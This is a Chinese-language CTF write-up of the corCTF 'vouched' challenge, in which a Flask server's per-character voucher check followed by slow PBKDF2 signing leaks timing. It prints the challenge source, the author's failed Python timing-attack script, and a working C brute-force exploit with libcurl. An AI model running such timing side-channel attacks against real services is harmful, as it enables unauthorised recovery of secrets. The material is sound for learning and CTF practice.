corCTF-vouched

前言

这个比赛为什么我要单开复现一题,实属心有不甘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

#!/usr/bin/env python3
from flask import Flask, render_template, request
import hashlib, hmac, binascii
import random


FLAG = "FLAG{EXAMPLE_FLAG}"

app = Flask(__name__)

PBKDF2_ITERATIONS = 1750000
DKLEN = 32


def generate_voucher() -> str:
length = 12
dash_positions = [1, 4, 8]

chars = []
for i in range(length):
if i in dash_positions:
chars.append('-')
else:
chars.append(random.choice("ABCDEF0123456789"))

return ''.join(chars)


VOUCHER_CODE = generate_voucher()
print(f"[DEBUG] Voucher code: {VOUCHER_CODE}")


def calculate_signature(password: str, salt: str) -> str:
return binascii.hexlify(
hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), PBKDF2_ITERATIONS, dklen=DKLEN)
).decode()


@app.route("/")
def index():
return render_template("index.html")


@app.route("/check", methods=["POST"])
def check():
j = request.get_json(force=True)
voucher = j.get("voucher", "")
signature = j.get("signature", "")

if len(voucher) != len(VOUCHER_CODE):
return "Code incorrect"

for i, ch in enumerate(voucher):

if VOUCHER_CODE[i] != ch:
return "Code incorrect"

# Tampering protection
ua = request.headers.get("User-Agent", "sheep")
expected = calculate_signature(voucher, ua)
if not hmac.compare_digest(signature, expected):
return "Tampering detected"

return f"See you at corCTF 2026, your ticket is: {FLAG}"


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8001, debug=False)

其实这个逻辑看第一眼不懂第二眼就该懂了,出题人的这一步逻辑暗藏玄鸡

1
2
3
4
5
6
7
8
9
10
for i, ch in enumerate(voucher):

if VOUCHER_CODE[i] != ch:
return "Code incorrect"

# Tampering protection
ua = request.headers.get("User-Agent", "sheep")
expected = calculate_signature(voucher, ua)
if not hmac.compare_digest(signature, expected):
return "Tampering detected"

它为什么要吃力不讨好,如果真要验证的话直接比较不就完了,这个地方肯定是可以拿到voucher,但是实际上我们发现,除了第一位可以根据回显差异弄出来,其他几位逻辑上是弄不出来的
但是实际

1
2
3
start = time.time()
r = requests.post(URL, json=data, headers=headers)
elapsed = time.time() - start

是可以拿到时间消耗
服务器每升一位进行判定正确时,都会多进行一次expected = calculate_signature(voucher, ua)
这样会导致时间消耗增加,直接打测信道
即,我们通过爆破看时消耗,打测信道可以完美测出voucher的每一位
进而拿到flag
但是现实很丰满,本地完美爆破,远程依托答辩
丢一篇失败者的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
import requests, hashlib, binascii, time

URL = "https://vouched-1a8e887590d23904.ctfi.ng/check"
UA = "sheep"
CHARSET = "ABCDEF0123456789"
VOUCHER_LEN = 12
DASH_POSITIONS = [1, 4, 8]

PBKDF2_ITERATIONS = 1750000
DKLEN = 32
TIME_THRESHOLD = 0.3 # 明显耗时阈值

def calc_sig(password: str, salt: str) -> str:
return binascii.hexlify(
hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(),
PBKDF2_ITERATIONS, dklen=DKLEN)
).decode()

def try_voucher(voucher: str) -> float:
sig = calc_sig(voucher, UA)
headers = {"User-Agent": UA}
data = {"voucher": voucher, "signature": sig}
start = time.time()
r = requests.post(URL, json=data, headers=headers)
elapsed = time.time() - start
if "See you at corCTF" in r.text:
print("[!!!] Voucher 完整找到:", voucher)
print(r.text)
exit(0)
return elapsed

def crack():
found = ["?"] * VOUCHER_LEN

for pos in range(VOUCHER_LEN):
if pos in DASH_POSITIONS:
found[pos] = "-"
print(f"[+] 固定位置 {pos} = '-'")
continue

print(f"\n[*] 爆破位置 {pos}, 当前前缀: {''.join(found)}")
base_time = None
best_char = None

for i, ch in enumerate(CHARSET):
guess = found.copy()
guess[pos] = ch
# 其他未知字符填充A保证长度
guess_str = "".join([c if c != "?" else "A" for c in guess])

elapsed = try_voucher(guess_str)
print(f" {ch} -> {elapsed:.4f}s")

if i == 0:
# 第一字符作为基准值
base_time = elapsed
best_char = ch
continue
if i == 1:
if base_time - elapsed > TIME_THRESHOLD:
print(f" >> 命中峰值字符 {ch} , time={elapsed:.4f}s")
break
if elapsed - base_time > TIME_THRESHOLD:
# 明显峰值,直接认定
best_char = ch
print(f" >> 命中峰值字符 {ch}, time={elapsed:.4f}s")
break

found[pos] = best_char
print(f"[+] 位置 {pos} 确定: {best_char}")

print("\n[***] Voucher 爆破完成:", "".join(found))
# 最后请求flag
final_voucher = "".join(found)
sig = calc_sig(final_voucher, UA)
headers = {"User-Agent": UA}
r = requests.post(URL, json={"voucher": final_voucher, "signature": sig}, headers=headers)
print("[FINAL RESPONSE]")
print(r.text)

if __name__ == "__main__":
crack()

这里要喷下靶机运行时间,为啥只有十分钟,消耗精度兑换时间了()

题解

老外就是不一样,用C写脚本获得更精准的时间消耗

1
定时测量使用 gettimeofday() 函数执行,该函数提供微秒精度。漏洞利用测量从发送 HTTP 请求之前到收到响应之前的时间,捕获包括网络延迟和服务器处理时间在内的总时间

总脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>
#include <curl/curl.h>
#include <openssl/evp.h>
#include <openssl/sha.h>

#define PBKDF2_ITERATIONS 1750000
#define DKLEN 32
#define CHARSET "ABCDEF0123456789"
#define CHARSET_SIZE 16

const char *TARGET_URL = "http://127.0.0.1:8001/check";
// 用于签名的 User-Agent (与服务端校验时用作 salt)
const char *USER_AGENT = "sheep";

// 计算 PBKDF2-HMAC-SHA256,返回 hex string(64 字符 + 终止0),调用者需 free()
char* calculate_signature(const char* voucher, const char* user_agent) {
unsigned char derived_key[DKLEN];
char* signature = malloc(DKLEN*2 + 1);
if (!signature) return NULL;

if (PKCS5_PBKDF2_HMAC(voucher, strlen(voucher),
(const unsigned char*)user_agent, strlen(user_agent),
PBKDF2_ITERATIONS, EVP_sha256(), DKLEN, derived_key) != 1) {
fprintf(stderr, "PBKDF2 failed\n");
free(signature);
return NULL;
}

for (int i = 0; i < DKLEN; ++i) {
sprintf(signature + (i * 2), "%02x", derived_key[i]);
}
signature[DKLEN*2] = '\0';
return signature;
}

// 发请求并测量总耗时(微秒),返回 >0 的耗时,否则返回 -1
long measure_response_time(const char* voucher, const char* signature) {
CURL *curl = curl_easy_init();
if (!curl) return -1;

struct timeval start, end;
long response_time = -1;

// 构造 JSON payload
char json_payload[1024];
snprintf(json_payload, sizeof(json_payload), "{\"voucher\":\"%s\",\"signature\":\"%s\"}", voucher, signature);

struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Content-Type: application/json");
// 注意这里也把 User-Agent 放进 header; curl 也有单独的 CURLOPT_USERAGENT
headers = curl_slist_append(headers, USER_AGENT);

curl_easy_setopt(curl, CURLOPT_URL, TARGET_URL);
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_payload);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);

// 忽略 SSL 验证(CTF 环境常用);生产环境不要这样
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);

curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 10L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);

gettimeofday(&start, NULL);
CURLcode res = curl_easy_perform(curl);
gettimeofday(&end, NULL);

if (res == CURLE_OK) {
response_time = (end.tv_sec - start.tv_sec) * 1000000L + (end.tv_usec - start.tv_usec);
} else {
response_time = -1;
}

curl_slist_free_all(headers);
curl_easy_cleanup(curl);
return response_time;
}

// 针对某个位置穷举 charset 中的字符,返回“最佳”字符(耗时最长)
char find_character_at_position(char* current_voucher, int position) {
const char *charset = CHARSET;
char best_char = charset[0];
long best_time = 0;

printf("Testing position %d...\n", position);

for (int i = 0; i < CHARSET_SIZE; ++i) {
char test_char = charset[i];
char prev = current_voucher[position];
current_voucher[position] = test_char;

char* sig = calculate_signature(current_voucher, USER_AGENT);
if (!sig) {
current_voucher[position] = prev;
continue;
}

long t = measure_response_time(current_voucher, sig);
if (t > 0) {
printf(" %c: %ld μs%s\n", test_char, t, (t > best_time ? " (new best)" : ""));
if (t > best_time) {
best_time = t;
best_char = test_char;
}
} else {
printf(" %c: failed\n", test_char);
}
free(sig);

current_voucher[position] = prev;
usleep(50000); // small delay to avoid server rate limits
}

printf("Best char at %d => %c (time %ld μs)\n", position, best_char, best_time);
return best_char;
}

int main() {
// 初始模板:文章中用 A-AA-AAA-AAA 那种形式
// 注意 voucher 的格式示例: "X-XXX-XXX-XXX" (len 12 with dashes at pos 1,4,8)
char voucher[64];
// 初始化成某个占位(示例用 'A' 填充可变位,'-' 放在 dash 位置)
const int L = 12;
int dash_positions[] = {1, 4, 8};
for (int i = 0, di = 0; i < L; ++i) {
if (di < 3 && i == dash_positions[di]) {
voucher[i] = '-';
di++;
} else voucher[i] = 'A';
}
voucher[L] = '\0';

printf("Initial voucher template: %s\n", voucher);

// 逐位爆破(跳过 dash 位置)
for (int pos = 0; pos < L; ++pos) {
if (voucher[pos] == '-') continue;
char found = find_character_at_position(voucher, pos);
voucher[pos] = found;
printf("Progress: %s\n", voucher);
}

printf("Final discovered voucher: %s\n", voucher);
// 最后再计算签名并尝试一次获取 flag
char *final_sig = calculate_signature(voucher, USER_AGENT);
if (final_sig) {
long t = measure_response_time(voucher, final_sig);
printf("Final attempt time: %ld μs\n", t);
free(final_sig);
}
return 0;
}

命令行

1
2
3
sudo apt-get install libcurl4-openssl-dev libssl-dev
gcc -O2 -Wall exploit.c -o exploit -lcurl -lssl -lcrypto
./exploit

后记

终端效果和我差不多()
没办法题目环境关了,本地测的都挺精准的,不过精度用C写的脚本提高很大
希望实际环境中也是如此
感觉这里的有优点就是用了用高精度计时工具(C gettimeofday()、QueryPerformanceCounter 等),大体意思都差不多
实际爆破速度也没有提升很多
原脚本的优点在于,手动多了一个判断,提高了速度,比如如果1比2慢0.35秒,直接选择1为正确字符,不会往下爆,本地测环境还ok没什么问题,远程就炸了
好了写完这些话基本就爆丸了,好家伙
C-1D-81D-8C1
倒数第二个字符从F变成C()
本地都差了不少
有无大手子看看exp,人麻了